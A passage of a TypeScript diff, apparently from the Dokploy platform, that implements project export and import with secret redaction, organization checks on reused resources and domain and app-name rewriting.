serviceId,
row,
environmentId,
);
const buildNetworkSkipWarning = (
skipped: number,
serviceType: ServiceType,
serviceId: string,
row: Record<string, unknown>,
environmentId: string,
): Warning[] =>
skipWarning(
skipped,
"NETWORK_UNRESOLVED",
(name) =>
`${skipped} network attachment${skipped === 1 ? "" : "s"} for "${name}" ${skipped === 1 ? "was" : "were"} dropped; its network was never resolved.`,
serviceType,
serviceId,
row,
environmentId,
);
const GIT_PROVIDER_SUB_TABLE: Record<
"github" | "gitlab" | "gitea" | "bitbucket",
{ query: "github" | "gitlab" | "gitea" | "bitbucket"; idField: string }
> = {
github: { query: "github", idField: "githubId" },
gitlab: { query: "gitlab", idField: "gitlabId" },
gitea: { query: "gitea", idField: "giteaId" },
bitbucket: { query: "bitbucket", idField: "bitbucketId" },
};
const resolveGitProviderFks = async (
tx: TransferTx,
snapshot: Snapshot,
plan: Plan,
serviceId: string,
organizationId: string,
): Promise<Record<string, string>> => {
const fks: Record<string, string> = {};
for (const requirement of snapshot.requirements) {
if (requirement.kind !== "gitProvider") continue;
if (!requirement.usedBy.some((u) => u.serviceId === serviceId)) continue;
const resolution =
plan.resolutions[`gitProvider:${requirement.originalId ?? "null"}`];
if (resolution?.action !== "reuse" || !resolution.targetId) continue;
const gitProviderRow = await tx.query.gitProvider.findFirst({
where: eq(gitProvider.gitProviderId, resolution.targetId),
columns: { organizationId: true },
});
if (!gitProviderRow || gitProviderRow.organizationId !== organizationId) {
throw new Error(
`Cannot reuse gitProvider "${resolution.targetId}": not found in this organization`,
);
}
const table = GIT_PROVIDER_SUB_TABLE[requirement.providerType];
const row = await (
tx.query[table.query] as {
findFirst: (
args: unknown,
) => Promise<Record<string, unknown> | undefined>;
}
).findFirst({
where: (
fields: Record<string, unknown>,
{ eq }: { eq: (a: unknown, b: unknown) => unknown },
) => eq(fields.gitProviderId, resolution.targetId),
});
if (row) {
fks[table.idField] = row[table.idField] as string;
}
}
return fks;
};
export type ApplyServicesContext = {
tx: TransferTx;
snapshot: Snapshot;
plan: Plan;
idMaps: SharedIdMaps;
secretsPlain: Map<string, string>;
vaultNameMap: Record<string, string>;
conflictResolutions: Record<string, ConflictResolution>;
organizationId: string;
serverIpMap: Record<string, string>;
serviceServerMap: Map<string, string | null>;
serviceBuildServerMap: Map<string, string | null>;
};
export const insertApplication = async (
ctx: ApplyServicesContext,
row: Record<string, unknown>,
newEnvironmentId: string,
): Promise<{ oldId: string; newId: string; warnings: Warning[] }> => {
const { tx, plan, idMaps, secretsPlain, vaultNameMap, snapshot } = ctx;
const oldId = row.applicationId as string;
const { row: common, networkIdsSkipped } = remapCommonFields(
ctx,
row,
oldId,
"application",
newEnvironmentId,
);
const gitProviderFks = await resolveGitProviderFks(
tx,
snapshot,
plan,
oldId,
ctx.organizationId,
);
const oldBuildServerId = ctx.serviceBuildServerMap.get(oldId) ?? null;
const buildServerId = oldBuildServerId
? (plan.serverMap[oldBuildServerId] ?? null)
: null;
const [inserted] = await tx
.insert(applications)
.values({
...common,
applicationId: undefined,
registryId: common.registryId
? (idMaps.registry[common.registryId as string] ?? null)
: null,
buildRegistryId: common.buildRegistryId
? (idMaps.registry[common.buildRegistryId as string] ?? null)
: null,
rollbackRegistryId: common.rollbackRegistryId
? (idMaps.registry[common.rollbackRegistryId as string] ?? null)
: null,
customGitSSHKeyId: common.customGitSSHKeyId
? (idMaps.sshKey[common.customGitSSHKeyId as string] ?? null)
: null,
buildServerId,
...gitProviderFks,
} as unknown as typeof applications.$inferInsert)
.returning();
if (!inserted) {
throw new Error(`Failed to insert application ${oldId}`);
}
const newId = inserted.applicationId;
const parent = { applicationId: newId };
await insertDomains(
tx,
(row.domains as Record<string, unknown>[]) ?? [],
parent,
plan.appNameMap,
plan.domainStrategy,
ctx.conflictResolutions,
ctx.serverIpMap[(common.serverId as string | null) ?? "local"] ?? null,
);
await insertMounts(
tx,
(row.mounts as Record<string, unknown>[]) ?? [],
parent,
plan.appNameMap,
secretsPlain,
);
await insertPorts(
tx,
(row.ports as Record<string, unknown>[]) ?? [],
newId,
plan.portsStrategy,
ctx.conflictResolutions,
);
await insertRedirects(
tx,
(row.redirects as Record<string, unknown>[]) ?? [],
newId,
);
await insertSecurity(
tx,
(row.security as Record<string, unknown>[]) ?? [],
newId,
secretsPlain,
);
await insertSchedules(
tx,
(row.schedules as Record<string, unknown>[]) ?? [],
parent,
ctx.organizationId,
(common.serverId as string | null) ?? null,
);
const { skipped: volumeBackupsSkipped } = await insertVolumeBackups(
tx,
(row.volumeBackups as Record<string, unknown>[]) ?? [],
parent,
ctx.idMaps.destination,
plan.appNameMap,
);
return {
oldId,
newId,
warnings: [
...buildBackupSkipWarning(
volumeBackupsSkipped,
"application",
newId,
row,
newEnvironmentId,
),
...buildNetworkSkipWarning(
networkIdsSkipped,
"application",
newId,
row,
newEnvironmentId,
),
],
};
};
export const insertCompose = async (
ctx: ApplyServicesContext,
row: Record<string, unknown>,
newEnvironmentId: string,
): Promise<{ oldId: string; newId: string; warnings: Warning[] }> => {
const { tx, plan, idMaps, secretsPlain, vaultNameMap, snapshot } = ctx;
const oldId = row.composeId as string;
const { row: common } = remapCommonFields(
ctx,
row,
oldId,
"compose",
newEnvironmentId,
);
const gitProviderFks = await resolveGitProviderFks(
tx,
snapshot,
plan,
oldId,
ctx.organizationId,
);
const [inserted] = await tx
.insert(compose)
.values({
...common,
composeId: undefined,
customGitSSHKeyId: common.customGitSSHKeyId
? (idMaps.sshKey[common.customGitSSHKeyId as string] ?? null)
: null,
suffix: common.suffix ? generateRandomHash() : common.suffix,
...gitProviderFks,
} as unknown as typeof compose.$inferInsert)
.returning();
if (!inserted) {
throw new Error(`Failed to insert compose ${oldId}`);
}
const newId = inserted.composeId;
const parent = { composeId: newId };
await insertDomains(
tx,
(row.domains as Record<string, unknown>[]) ?? [],
parent,
plan.appNameMap,
plan.domainStrategy,
ctx.conflictResolutions,
ctx.serverIpMap[(common.serverId as string | null) ?? "local"] ?? null,
);
await insertMounts(
tx,
(row.mounts as Record<string, unknown>[]) ?? [],
parent,
plan.appNameMap,
secretsPlain,
);
const { skipped: backupsSkipped } = await insertBackups(
tx,
(row.backups as Record<string, unknown>[]) ?? [],
parent,
ctx.idMaps.destination,
secretsPlain,
);
await insertSchedules(
tx,
(row.schedules as Record<string, unknown>[]) ?? [],
parent,
ctx.organizationId,
(common.serverId as string | null) ?? null,
);
const { skipped: volumeBackupsSkipped } = await insertVolumeBackups(
tx,
(row.volumeBackups as Record<string, unknown>[]) ?? [],
parent,
ctx.idMaps.destination,
plan.appNameMap,
);
return {
oldId,
newId,
warnings: buildBackupSkipWarning(
backupsSkipped + volumeBackupsSkipped,
"compose",
newId,
row,
newEnvironmentId,
),
};
};
const DB_TABLES = {
postgres: { table: postgres, hasBackups: true },
mysql: { table: mysql, hasBackups: true },
mariadb: { table: mariadb, hasBackups: true },
mongo: { table: mongo, hasBackups: true },
redis: { table: redis, hasBackups: false },
libsql: { table: libsql, hasBackups: true },
} as const;
export type DbServiceKind = keyof typeof DB_TABLES;
export const DB_SERVICE_KINDS = Object.keys(DB_TABLES) as DbServiceKind[];
export const insertDbService = async (
ctx: ApplyServicesContext,
kind: DbServiceKind,
row: Record<string, unknown>,
newEnvironmentId: string,
): Promise<{ oldId: string; newId: string; warnings: Warning[] }> => {
const { tx, plan, idMaps, secretsPlain, vaultNameMap } = ctx;
const idField = SERVICE_ID_FIELD[kind];
const oldId = row[idField] as string;
const { row: common, networkIdsSkipped } = remapCommonFields(
ctx,
row,
oldId,
kind,
newEnvironmentId,
);
const { table, hasBackups } = DB_TABLES[kind];
const externalPort =
typeof common.externalPort === "number" && plan.portsStrategy !== "disable"
? resolvePublishedPort(common.externalPort, ctx.conflictResolutions)
: null;
const [inserted] = await tx
.insert(table)
.values({ ...common, externalPort, [idField]: undefined } as never)
.returning();
if (!inserted) {
throw new Error(`Failed to insert ${kind} ${oldId}`);
}
const newId = (inserted as Record<string, unknown>)[idField] as string;
const parent = { [idField]: newId };
await insertMounts(
tx,
(row.mounts as Record<string, unknown>[]) ?? [],
parent,
plan.appNameMap,
secretsPlain,
);
const { skipped: volumeBackupsSkipped } = await insertVolumeBackups(
tx,
(row.volumeBackups as Record<string, unknown>[]) ?? [],
parent,
ctx.idMaps.destination,
plan.appNameMap,
);
let backupsSkipped = 0;
if (hasBackups) {
({ skipped: backupsSkipped } = await insertBackups(
tx,
(row.backups as Record<string, unknown>[]) ?? [],
parent,
ctx.idMaps.destination,
secretsPlain,
));
}
return {
oldId,
newId,
warnings: [
...buildBackupSkipWarning(
volumeBackupsSkipped + backupsSkipped,
kind,
newId,
row,
newEnvironmentId,
),
...buildNetworkSkipWarning(
networkIdsSkipped,
kind,
newId,
row,
newEnvironmentId,
),
],
};
};
@@ -0,0 +1,346 @@
import {
certificates,
destinations,
dnsProvider,
network,
registry,
sshKeys,
vaultProvider,
} from "@dokploy/server/db/schema";
import { ADDITIONAL_FLAG_REGEX } from "@dokploy/server/db/validations/destination";
import { eq } from "drizzle-orm";
import { conflictResolutionsOf } from "../conflicts";
import type { TransferTx } from "../queries";
import { LOCAL_SERVER_CANDIDATE_ID, requirementKey } from "../resolve";
import { restoreSecretFields } from "../secret-fields";
import type { Plan, Requirement, Snapshot } from "../types";
import { conflictKey } from "../types";
export type SharedIdMaps = {
destination: Record<string, string>;
registry: Record<string, string>;
sshKey: Record<string, string>;
network: Record<string, string>;
certificate: Record<string, string>;
vaultProvider: Record<string, string>;
};
const emptySharedIdMaps = (): SharedIdMaps => ({
destination: {},
registry: {},
sshKey: {},
network: {},
certificate: {},
vaultProvider: {},
});
const serverOf = (row: Record<string, unknown>, plan: Plan) => ({
serverId: plan.serverMap[(row.serverId as string | null) ?? "null"] ?? null,
});
type SharedInsertSpec = {
idField: string;
table: typeof registry;
secretKind: Parameters<typeof restoreSecretFields>[0];
mapKey: keyof SharedIdMaps;
extra?: (row: Record<string, unknown>, plan: Plan) => Record<string, unknown>;
};
const SHARED_INSERTS: Partial<Record<Requirement["kind"], SharedInsertSpec>> = {
vault: {
idField: "vaultProviderId",
table: vaultProvider as unknown as typeof registry,
secretKind: "vaultProvider",
mapKey: "vaultProvider",
extra: () => ({ assignments: [] }),
},
destination: {
idField: "destinationId",
table: destinations as unknown as typeof registry,
secretKind: "destination",
mapKey: "destination",
},
registry: {
idField: "registryId",
table: registry,
secretKind: "registry",
mapKey: "registry",
},
sshKey: {
idField: "sshKeyId",
table: sshKeys as unknown as typeof registry,
secretKind: "sshKey",
mapKey: "sshKey",
},
certificate: {
idField: "certificateId",
table: certificates as unknown as typeof registry,
secretKind: "certificate",
mapKey: "certificate",
extra: (row: Record<string, unknown>, plan: Plan) => ({
certificatePath: undefined,
...serverOf(row, plan),
}),
},
};
const findSharedRow = (
snapshot: Snapshot,
requirement: Requirement,
idField: string,
): Record<string, unknown> | undefined =>
(snapshot.resources.shared[requirement.kind] ?? []).find(
(row) => row[idField] === requirement.originalId,
);
const REUSE_ORG_LOOKUP: Partial<
Record<
Requirement["kind"],
(
tx: TransferTx,
targetId: string,
) => Promise<{ organizationId: string } | undefined>
>
> = {
vault: (tx, id) =>
tx.query.vaultProvider.findFirst({
where: (fields, { eq }) => eq(fields.vaultProviderId, id),
columns: { organizationId: true },
}),
destination: (tx, id) =>
tx.query.destinations.findFirst({
where: (fields, { eq }) => eq(fields.destinationId, id),
columns: { organizationId: true },
}),
registry: (tx, id) =>
tx.query.registry.findFirst({
where: (fields, { eq }) => eq(fields.registryId, id),
columns: { organizationId: true },
}),
sshKey: (tx, id) =>
tx.query.sshKeys.findFirst({
where: (fields, { eq }) => eq(fields.sshKeyId, id),
columns: { organizationId: true },
}),
network: (tx, id) =>
tx.query.network.findFirst({
where: (fields, { eq }) => eq(fields.networkId, id),
columns: { organizationId: true },
}),
certificate: (tx, id) =>
tx.query.certificates.findFirst({
where: (fields, { eq }) => eq(fields.certificateId, id),
columns: { organizationId: true },
}),
server: (tx, id) =>
tx.query.server.findFirst({
where: (fields, { eq }) => eq(fields.serverId, id),
columns: { organizationId: true },
}),
};
const assertReuseTargetInOrg = async (
tx: TransferTx,
requirement: Requirement,
targetId: string,
organizationId: string,
): Promise<void> => {
if (requirement.kind === "server" && targetId === LOCAL_SERVER_CANDIDATE_ID) {
return;
}
const lookup = REUSE_ORG_LOOKUP[requirement.kind];
if (!lookup) return;
const target = await lookup(tx, targetId);
if (!target || target.organizationId !== organizationId) {
throw new Error(
`Cannot reuse ${requirement.kind} "${targetId}": not found in this organization`,
);
}
};
export const insertSharedByValue = async (
tx: TransferTx,
snapshot: Snapshot,
plan: Plan,
secretsPlain: Map<string, string>,
organizationId: string,
): Promise<{ idMaps: SharedIdMaps; vaultNameMap: Record<string, string> }> => {
const idMaps = emptySharedIdMaps();
const vaultNameMap: Record<string, string> = {};
const conflictResolutions = conflictResolutionsOf(plan);
for (const requirement of snapshot.requirements) {
const resolution = plan.resolutions[requirementKey(requirement)];
if (!resolution) continue;
if (resolution.action === "reuse" && resolution.targetId) {
await assertReuseTargetInOrg(
tx,
requirement,
resolution.targetId,
organizationId,
);
if (requirement.originalId) {
setResolvedId(
idMaps,
requirement.kind,
requirement.originalId,
resolution.targetId,
);
}
if (requirement.kind === "vault") {
const row = await tx.query.vaultProvider.findFirst({
where: (fields, { eq }) =>
eq(fields.vaultProviderId, resolution.targetId as string),
});
if (row) {
vaultNameMap[requirement.providerName] = row.name;
}
}
continue;
}
if (resolution.action !== "create" || !requirement.originalId) continue;
if (requirement.kind === "network") {
const row = findSharedRow(snapshot, requirement, "networkId");
if (!row) continue;
const key = conflictKey({ kind: "network", value: requirement.name });
const resolution = conflictResolutions[key];
if (resolution?.action === "skip") continue;
if (resolution?.action === "keep") {
const existing = plan.conflicts.find(
(conflict) => conflictKey(conflict) === key,
);
if (existing) {
idMaps.network[requirement.originalId] = existing.existingId;
continue;
}
}
const oldServerId = (row.serverId as string | null) ?? null;
const [inserted] = await tx
.insert(network)
.values({
...row,
networkId: undefined,
dockerId: null,
name:
resolution?.action === "rename" && resolution.value
? resolution.value.trim()
: row.name,
organizationId,
serverId: plan.serverMap[oldServerId ?? "null"] ?? null,
} as unknown as typeof network.$inferInsert)
.returning();
if (inserted) {
idMaps.network[requirement.originalId] = inserted.networkId;
}
continue;
}
const spec = SHARED_INSERTS[requirement.kind];
if (!spec) continue;
const row = findSharedRow(snapshot, requirement, spec.idField);
if (!row) continue;
if (requirement.kind === "destination") {
const flags = (row.additionalFlags as unknown[] | null) ?? [];
if (
flags.some(
(flag) =>
typeof flag !== "string" || !ADDITIONAL_FLAG_REGEX.test(flag),
)
) {
throw new Error(
`Destination "${row.name}" in the bundle has invalid additional rclone flags`,
);
}
}
const restored = restoreSecretFields(spec.secretKind, row, secretsPlain);
const [inserted] = await tx
.insert(spec.table)
.values({
...restored,
[spec.idField]: undefined,
organizationId,
...spec.extra?.(row, plan),
} as unknown as typeof registry.$inferInsert)
.returning();
if (!inserted) continue;
const newId = (inserted as Record<string, unknown>)[spec.idField] as string;
idMaps[spec.mapKey][requirement.originalId] = newId;
if (requirement.kind === "vault") {
vaultNameMap[requirement.providerName] = (
inserted as Record<string, unknown>
).name as string;
}
}
for (const row of snapshot.resources.shared.dnsProvider ?? []) {
const name = row.name as string;
const existing = await tx.query.dnsProvider.findFirst({
where: (fields, { and, eq }) =>
and(eq(fields.organizationId, organizationId), eq(fields.name, name)),
});
if (existing) continue;
const restored = restoreSecretFields("dnsProvider", row, secretsPlain);
await tx.insert(dnsProvider).values({
...restored,
dnsProviderId: undefined,
organizationId,
} as unknown as typeof dnsProvider.$inferInsert);
}
return { idMaps, vaultNameMap };
};
const SHARED_MAP_KEY: Partial<Record<Requirement["kind"], keyof SharedIdMaps>> =
{
vault: "vaultProvider",
destination: "destination",
registry: "registry",
sshKey: "sshKey",
network: "network",
certificate: "certificate",
};
const setResolvedId = (
idMaps: SharedIdMaps,
kind: Requirement["kind"],
originalId: string,
targetId: string,
) => {
const mapKey = SHARED_MAP_KEY[kind];
if (mapKey) idMaps[mapKey][originalId] = targetId;
};
export const applyVaultAssignments = async (
tx: TransferTx,
snapshot: Snapshot,
idMaps: SharedIdMaps,
newProjectId: string,
newEnvironmentIds: string[],
): Promise<void> => {
const vaultOriginalIds = new Set(
snapshot.requirements
.filter((r) => r.kind === "vault" && r.originalId)
.map((r) => r.originalId as string),
);
for (const originalId of vaultOriginalIds) {
const vaultProviderId = idMaps.vaultProvider[originalId];
if (!vaultProviderId) continue;
const row = await tx.query.vaultProvider.findFirst({
where: (fields, { eq }) => eq(fields.vaultProviderId, vaultProviderId),
});
if (!row) continue;
const assignments = Array.isArray(row.assignments) ? row.assignments : [];
await tx
.update(vaultProvider)
.set({
assignments: [
...assignments,
{ projectId: newProjectId, environmentIds: newEnvironmentIds },
],
})
.where(eq(vaultProvider.vaultProviderId, vaultProviderId));
}
};
@@ -0,0 +1,83 @@
import { buildAppName } from "@dokploy/server/db/schema/utils";
import type { DomainStrategy } from "./types";
const sanitizeAppNameChars = (value: string): string =>
value.replace(/[^a-zA-Z0-9._-]/g, "-");
export const regenerateAppName = (type: string, oldAppName: string): string => {
const safeOldAppName = sanitizeAppNameChars(oldAppName);
const lastHyphen = safeOldAppName.lastIndexOf("-");
const base =
lastHyphen === -1 ? safeOldAppName : safeOldAppName.slice(0, lastHyphen);
return buildAppName(type, base);
};
const escapeRegExp = (value: string) =>
value.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
const APPNAME_CHAR_CLASS = "[a-zA-Z0-9._-]";
export const replaceAppNames = (
text: string,
appNameMap: Record<string, string>,
): string => {
const keys = Object.keys(appNameMap).sort((a, b) => b.length - a.length);
if (!text || keys.length === 0) {
return text;
}
const pattern = new RegExp(
`(?<!${APPNAME_CHAR_CLASS})(${keys.map(escapeRegExp).join("|")})`,
"g",
);
return text.replace(pattern, (match) => appNameMap[match] ?? match);
};
const SSLIP_IO_IP_SUFFIX = /-(\d{1,3}(?:-\d{1,3}){3})\.sslip\.io$/;
export const rewriteSslipIoIp = (
host: string,
destinationIp: string | null,
): string => {
if (!destinationIp) return host;
if (!SSLIP_IO_IP_SUFFIX.test(host)) return host;
const slugIp = destinationIp.replaceAll(".", "-").replaceAll(":", "-");
return host.replace(SSLIP_IO_IP_SUFFIX, `-${slugIp}.sslip.io`);
};
export const rewriteVolumeName = (
volumeName: string,
appNameMap: Record<string, string>,
): { value: string; rewritten: boolean } => {
const value = replaceAppNames(volumeName, appNameMap);
return { value, rewritten: value !== volumeName };
};
const applyDomainStrategy = (
host: string,
strategy: DomainStrategy,
sourceEnabled: boolean,
): { host: string; enabled: boolean } => {
switch (strategy.custom) {
case "keep":
return { host, enabled: sourceEnabled };
case "prefix":
return { host: `${strategy.value}${host}`, enabled: sourceEnabled };
case "suffix":
return { host: `${host}${strategy.value}`, enabled: sourceEnabled };
case "disable":
return { host, enabled: false };
}
};
export const finalDomainHost = (
host: string,
appNameMap: Record<string, string>,
destinationIp: string | null,
strategy: DomainStrategy,
sourceEnabled = true,
): { host: string; enabled: boolean } =>
applyDomainStrategy(
rewriteSslipIoIp(replaceAppNames(host, appNameMap), destinationIp),
strategy,
sourceEnabled,
);
@@ -0,0 +1,436 @@
import { randomUUID } from "node:crypto";
import {
type EnvironmentRow,
loadProjectTree,
type ProjectTree,
type TransferDb,
} from "./queries";
import { SECRET_FIELDS, stripNeverExport } from "./secret-fields";
import {
filterEnvironments,
filterServices,
SERVICE_ID_FIELD,
SERVICE_TYPE_ENV_KEY,
SERVICE_TYPES,
} from "./service-kinds";
import type {
CaptureSource,
ExportScope,
Inventory,
Requirement,
ResourceKind,
ServiceType,
Snapshot,
Warning,
} from "./types";
import { SECRET_REDACTED, SECRET_REF_PREFIX } from "./types";
import { exportedImageOf } from "./warnings";
export class CaptureNotFoundError extends Error {}
export type CaptureOptions = {
detectRequirements: (
tree: ProjectTree,
scope: ExportScope,
) => Requirement[] | Promise<Requirement[]>;
detectWarnings: (
tree: ProjectTree,
scope: ExportScope,
) => Warning[] | Promise<Warning[]>;
};
export type CaptureResult = {
resources: Snapshot["resources"];
inventory: Inventory;
requirements: Requirement[];
warnings: Warning[];
secretsPlain: Map<string, string>;
tree: ProjectTree;
};
type ChildDef = { key: string; kind: ResourceKind };
const DB_SERVICE_CHILDREN: ChildDef[] = [
{ key: "mounts", kind: "mount" },
{ key: "backups", kind: "backup" },
{ key: "volumeBackups", kind: "volumeBackup" },
];
const CHILD_KINDS: Partial<Record<ServiceType, ChildDef[]>> = {
application: [
{ key: "domains", kind: "domain" },
{ key: "mounts", kind: "mount" },
{ key: "redirects", kind: "redirect" },
{ key: "security", kind: "security" },
{ key: "ports", kind: "port" },
{ key: "schedules", kind: "schedule" },
{ key: "volumeBackups", kind: "volumeBackup" },
],
compose: [
{ key: "domains", kind: "domain" },
{ key: "mounts", kind: "mount" },
{ key: "backups", kind: "backup" },
{ key: "schedules", kind: "schedule" },
{ key: "volumeBackups", kind: "volumeBackup" },
],
postgres: DB_SERVICE_CHILDREN,
mysql: DB_SERVICE_CHILDREN,
mariadb: DB_SERVICE_CHILDREN,
mongo: DB_SERVICE_CHILDREN,
libsql: DB_SERVICE_CHILDREN,
redis: [
{ key: "mounts", kind: "mount" },
{ key: "volumeBackups", kind: "volumeBackup" },
],
};
const SHARED_BY_VALUE_TABLE: Partial<
Record<
Requirement["kind"],
{
query:
| "destinations"
| "registry"
| "sshKeys"
| "network"
| "certificates"
| "vaultProvider";
idField: string;
resourceKind: ResourceKind;
}
>
> = {
destination: {
query: "destinations",
idField: "destinationId",
resourceKind: "destination",
},
registry: {
query: "registry",
idField: "registryId",
resourceKind: "registry",
},
sshKey: { query: "sshKeys", idField: "sshKeyId", resourceKind: "sshKey" },
network: { query: "network", idField: "networkId", resourceKind: "network" },
certificate: {
query: "certificates",
idField: "certificateId",
resourceKind: "certificate",
},
vault: {
query: "vaultProvider",
idField: "vaultProviderId",
resourceKind: "vaultProvider",
},
};
const effectiveScope = (scope: ExportScope): ExportScope =>
scope.includeEnvSecrets
? scope
: {
...scope,
shared: {
...scope.shared,
vaultProvider: "reference",
dnsProvider: "reference",
},
};
export const capture = async (
db: TransferDb,
source: CaptureSource,
requestedScope: ExportScope,
opts: CaptureOptions,
): Promise<CaptureResult> => {
const scope = effectiveScope(requestedScope);
const tree = await loadProjectTree(db, source);
if (!tree) {
throw new CaptureNotFoundError("Project or environment not found");
}
const secretsPlain = new Map<string, string>();
const keptEnvironments = filterEnvironments(tree, scope);
const resourceEnvironments = keptEnvironments.map((env) =>
sanitizeRow("environment", withoutServiceArrays(env), scope, secretsPlain),
);
const resourceServices = keptEnvironments.flatMap((env) =>
SERVICE_TYPES.flatMap((serviceType) =>
filterServices(
env[SERVICE_TYPE_ENV_KEY[serviceType]] as Record<string, unknown>[],
serviceType,
scope,
).map((service) =>
buildServiceResource(serviceType, service, scope, secretsPlain),
),
),
);
const projectResource = sanitizeRow(
"project",
withoutRelationArrays(tree),
scope,
secretsPlain,
);
const [requirements, warnings] = await Promise.all([
Promise.resolve(opts.detectRequirements(tree, scope)),
Promise.resolve(opts.detectWarnings(tree, scope)),
]);
const shared = await loadSharedByValue(
db,
tree.organizationId,
requirements,
scope,
secretsPlain,
);
const inventory = buildInventory(tree, keptEnvironments, scope);
return {
resources: {
project: projectResource,
environments: resourceEnvironments,
services: resourceServices,
shared,
},
inventory,
requirements,
warnings,
secretsPlain,
tree,
};
};
const generateSecretId = () => randomUUID();
const redactOrCapture = (
value: string,
scope: ExportScope,
secretsPlain: Map<string, string>,
): string => {
if (!scope.includeEnvSecrets) {
return SECRET_REDACTED;
}
const id = generateSecretId();
secretsPlain.set(id, value);
return `${SECRET_REF_PREFIX}${id}`;
};
const redactEnvFile = (
envFile: string,
scope: ExportScope,
secretsPlain: Map<string, string>,
): string =>
envFile
.split("\n")
.map((line) => {
const eqIndex = line.indexOf("=");
if (eqIndex === -1) {
return line;
}
const key = line.slice(0, eqIndex);
const value = line.slice(eqIndex + 1);
if (value.length === 0) {
return line;
}
return `${key}=${redactOrCapture(value, scope, secretsPlain)}`;
})
.join("\n");
const sanitizeRow = (
kind: ResourceKind,
row: Record<string, unknown>,
scope: ExportScope,
secretsPlain: Map<string, string>,
): Record<string, unknown> => {
const stripped = stripNeverExport(kind, row);
const entries = SECRET_FIELDS[kind];
if (!entries) {
return stripped;
}
const result: Record<string, unknown> = { ...stripped };
for (const entry of entries) {
if (entry.when && !entry.when(row)) {
continue;
}
const value = result[entry.field];
if (value === null || value === undefined || value === "") {
continue;
}
if (entry.kind === "envFile") {
if (typeof value === "string") {
result[entry.field] = redactEnvFile(value, scope, secretsPlain);
}
continue;
}
const plainText = typeof value === "string" ? value : JSON.stringify(value);
result[entry.field] = redactOrCapture(plainText, scope, secretsPlain);
}
return result;
};
const buildServiceResource = (
serviceType: ServiceType,
service: Record<string, unknown>,
scope: ExportScope,
secretsPlain: Map<string, string>,
): Record<string, unknown> => {
const childDefs = CHILD_KINDS[serviceType] ?? [];
const sanitizedChildren: Record<string, unknown> = {};
const ownFields = { ...service };
for (const { key, kind } of childDefs) {
if (kind === "backup" && !scope.includeBackupSchedules) {
sanitizedChildren[key] = [];
delete ownFields[key];
continue;
}
const children = (ownFields[key] as Record<string, unknown>[]) ?? [];
sanitizedChildren[key] = children.map((child) =>
sanitizeRow(kind, child, scope, secretsPlain),
);
delete ownFields[key];
}
const sanitizedOwn = sanitizeRow(serviceType, ownFields, scope, secretsPlain);
return { kind: serviceType, ...sanitizedOwn, ...sanitizedChildren };
};
const withoutServiceArrays = (env: EnvironmentRow): Record<string, unknown> => {
const {
applications: _applications,
compose: _compose,
postgres: _postgres,
mysql: _mysql,
mariadb: _mariadb,
mongo: _mongo,
redis: _redis,
libsql: _libsql,
...rest
} = env;
return rest;
};
const withoutRelationArrays = (tree: ProjectTree): Record<string, unknown> => {
const { environments: _environments, projectTags, ...rest } = tree;
return {
...rest,
tags: (projectTags ?? []).map(({ tag }) => ({
name: tag.name,
color: tag.color,
})),
};
};
const loadSharedByValue = async (
db: TransferDb,
organizationId: string,
requirements: Requirement[],
scope: ExportScope,
secretsPlain: Map<string, string>,
): Promise<Record<string, Record<string, unknown>[]>> => {
const shared: Record<string, Record<string, unknown>[]> = {};
for (const requirement of requirements) {
if (!requirement.configIncluded || !requirement.originalId) {
continue;
}
const table = SHARED_BY_VALUE_TABLE[requirement.kind];
if (!table) {
continue;
}
const row = await (
db.query[table.query] as {
findFirst: (
args: unknown,
) => Promise<Record<string, unknown> | undefined>;
}
).findFirst({
where: (
fields: Record<string, unknown>,
{ eq }: { eq: (a: unknown, b: unknown) => unknown },
) => eq(fields[table.idField], requirement.originalId),
});
if (!row) {
continue;
}
shared[requirement.kind] ??= [];
shared[requirement.kind]?.push(
sanitizeRow(table.resourceKind, row, scope, secretsPlain),
);
}
if (scope.shared.dnsProvider === "value") {
const rows = await db.query.dnsProvider.findMany({
where: (fields, { eq }) => eq(fields.organizationId, organizationId),
});
shared.dnsProvider = rows.map((row) =>
sanitizeRow(
"dnsProvider",
row as Record<string, unknown>,
scope,
secretsPlain,
),
);
}
return shared;
};
const buildInventory = (
tree: ProjectTree,
keptEnvironments: EnvironmentRow[],
scope: ExportScope,
): Inventory => {
const totals: Partial<Record<ResourceKind, number>> = {};
const bump = (kind: ResourceKind, by = 1) => {
totals[kind] = (totals[kind] ?? 0) + by;
};
const images: Inventory["images"] = [];
const environments = keptEnvironments.map((env) => {
const services: Partial<Record<ServiceType, number>> = {};
for (const serviceType of SERVICE_TYPES) {
const rows = filterServices(
env[SERVICE_TYPE_ENV_KEY[serviceType]] as Record<string, unknown>[],
serviceType,
scope,
);
services[serviceType] = rows.length;
bump(serviceType, rows.length);
for (const row of rows) {
const image = exportedImageOf(serviceType, row);
if (!image) continue;
images.push({
serviceId: row[SERVICE_ID_FIELD[serviceType]] as string,
serviceType,
name: (row.name as string | undefined) ?? (row.appName as string),
image,
});
}
for (const { key, kind } of CHILD_KINDS[serviceType] ?? []) {
if (kind === "backup" && !scope.includeBackupSchedules) continue;
const childCount = rows.reduce(
(sum, row) => sum + ((row[key] as unknown[]) ?? []).length,
0,
);
bump(kind, childCount);
}
}
return { id: env.environmentId, name: env.name, services };
});
return {
project: { name: tree.name, environments: keptEnvironments.length },
environments,
totals,
estimatedDumpBytes: 0,
estimatedFilesBytes: 0,
images,
};
};
@@ -0,0 +1,114 @@
import { readdir, rm, stat } from "node:fs/promises";
import { basename, join } from "node:path";
import { paths } from "@dokploy/server/constants";
import { db } from "@dokploy/server/db";
import { server } from "@dokploy/server/db/schema";
import { eq } from "drizzle-orm";
import { cleanupExpiredExports } from "./export-job";
import { cleanupExpiredImports } from "./import-job";
import { getExportJob, getImportJob } from "./jobs";
import { escapeShellArg, remove, run } from "./remote-fs";
import { BUNDLE_EXTENSION } from "./types";
const SWEEP_INTERVAL_MS = 15 * 60 * 1000;
const ORPHAN_AGE_MS = 60 * 60 * 1000;
const hasLiveJob = (entry: string): boolean => {
const id = entry.endsWith(BUNDLE_EXTENSION)
? entry.slice(0, -BUNDLE_EXTENSION.length)
: entry;
return !!(getExportJob(id) || getImportJob(id));
};
export const sweepOrphanedTransferDirectories = async (
pathsFn: typeof paths = paths,
now: number = Date.now(),
): Promise<void> => {
const { PROJECT_EXPORT_IMPORT_PATH } = pathsFn();
let entries: string[];
try {
entries = await readdir(PROJECT_EXPORT_IMPORT_PATH);
} catch {
return;
}
for (const entry of entries) {
if (hasLiveJob(entry)) continue;
const entryPath = join(PROJECT_EXPORT_IMPORT_PATH, entry);
try {
const { mtimeMs } = await stat(entryPath);
